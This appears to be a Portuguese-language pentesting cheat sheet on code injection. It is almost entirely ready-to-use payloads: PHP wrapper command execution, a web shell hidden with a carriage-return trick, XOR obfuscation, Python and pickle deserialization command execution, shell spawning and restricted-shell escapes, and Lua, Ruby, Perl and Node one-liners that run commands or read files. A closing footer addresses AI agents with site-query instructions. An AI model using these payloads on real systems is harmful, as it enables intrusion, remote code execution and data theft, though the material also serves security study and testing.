# Code Injection

### PHP

#### XOR

Podemos inserir caracteres utilizando XOR. Por exemplo, caractere `M`, é o equivalente a expressão `"0"^"}"`. Então, para escrevermos `$_GET`, podemos utilizar a seguinte expressão:

```
php -r 'echo "`{{{"^"?<>/";'
```

#### Inserindo Comandos via Wrappers

Executando comandos

```bash
vuln.php?page=expect://ls
/example/?page=php://input&cmd=ls
```

#### Ocultando Caracteres

```javascript
echo -e "<?=\`\$_POST[1]\`?>\r<?='Test';?>" > <file.php>
```

Perceba que, se ler o conteúdo do arquivo gerado com o comando acima, você irá ver somente `<?='PHP Test';?>`, porém com o `strings` ou algum editor como o `Sublime Text`, é possível ver o seu conteúdo completo.

#### phar

Sempre que ver algum arquivo sendo chamado utilizando o phar, por exemplo `md5_file('phar:///path/to/file');`, é  possível inserirmos um arquivo phar malicioso.

### Python

#### Inject

Caso seja possível inserir comandos em Python via web, podemos utilizar o comando abaixo. Caso o comando tenha sucesso, será retornado `0` e caso tenha falha, retornará algum número como `32512`, significando que o processo retornou `127` (comando não encontrado).

```python
str(os.system('<command>'))
```

{% hint style="warning" %}
**ATENÇÃO:** O módulo **`os`** só irá funcionar, caso o alvo já tenha realizado a sua importação com o comando **`import os`**. Caso receba erro, utilize **`__import__('os').system('<command>')`** ao invés de **`os.system('<command>')`**
{% endhint %}

Caso queria ver o retorno do código, podemos utilizar o seguinte comando:

```python
str(os.popen("<command>").read())
```

Tente também inserir comandos que estejam com algum encode, por exemplo, `base64`. Assim podemos inserir comandos no seguinte formato:

```python
__import__('base64').b64decode('<command>')
```

**Pegando Bash**

```python
python -c 'import os ; os.system("/bin/bash")'
python -c 'import os ; os.system("/bin/sh")'
python -c 'from subprocess import call ; call(["/bin/bash"])'
```

#### KShell

Caso esteja preso em um `kshell` (shell com comandos limitados), utilize o comando abaixo para sair da shell limitada e acessar como usuário comum:

```python
echo os.system('/bin/bash')
```

Caso não dê certo, digite os comandos abaixo:

```python
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
```

#### Pickles

```python
import cPickle, os
class Blah(object):
        def __reduce__(self):
                return (os.system,("<command>",))
b=Blah()
print cPickle.dumps(b)
```

```javascript
import pickle, base64, os
class Blah(object):
        def __reduce__(self):
                return (os.system,("<command>",))
p=pickle.dumps(Blah())
print(base64.b64encode(p))
```

```javascript
import pickle, base64, subprocess
class User(object):
	def __reduce__(self):
		return (self.__class__, (subprocess.check_output(["id"]), ))
	def __init__(self, name):
		self.name = name
user = User("Mysther")
print(base64.b64encode(pickle.dumps(user)))
```

### LUA

```javascript
lua -e 'os.execute("/bin/sh")'
os.execute("/bin/sh")
```

### Ruby

#### Execução Única

```ruby
ruby -e 'puts `<command>`'
```

#### REPL

Execute o comando abaixo

```ruby
ruby -e 'require "irb" ; IRB.start(__FILE__)'
```

Com isso irá abrir uma sessão no terminal semelhante a isso `irb(main):001:0>`.\
Agora execute comandos em volta do caractere `` ` ``, exemplo:&#x20;

```
`/bin/bash`
```

###

### Perl

Lendo Arquivos do SO

```perl
perl -e 'print `/bin/bash`'
perl -e 'print `cat </path/file>`'

# Ou
open (CHECKBOOK, "</path/file>") || die "couldn't open the file!";
while ($record = <CHECKBOOK>) {
  print $record;
}
close(CHECKBOOK);
```

{% hint style="warning" %}
**ATENÇÃO:**\
Atente-se as aspas. No comando acima, utilizamos aspas simples, pois se usarmos aspas duplas, irá nos dar um erro de acesso (caso esteja usando um **`sudo`** para utilizar privilégios de outro usuário). Isso acontece devido a ordem de execução do comando.
{% endhint %}

###

### NodeJS

```javascript
node -e 'var exec = require("child_process").exec; exec("<command>", function (error, stdOut, stdErr) { console.log(stdOut); });'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/web-exploitation/injections/code-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.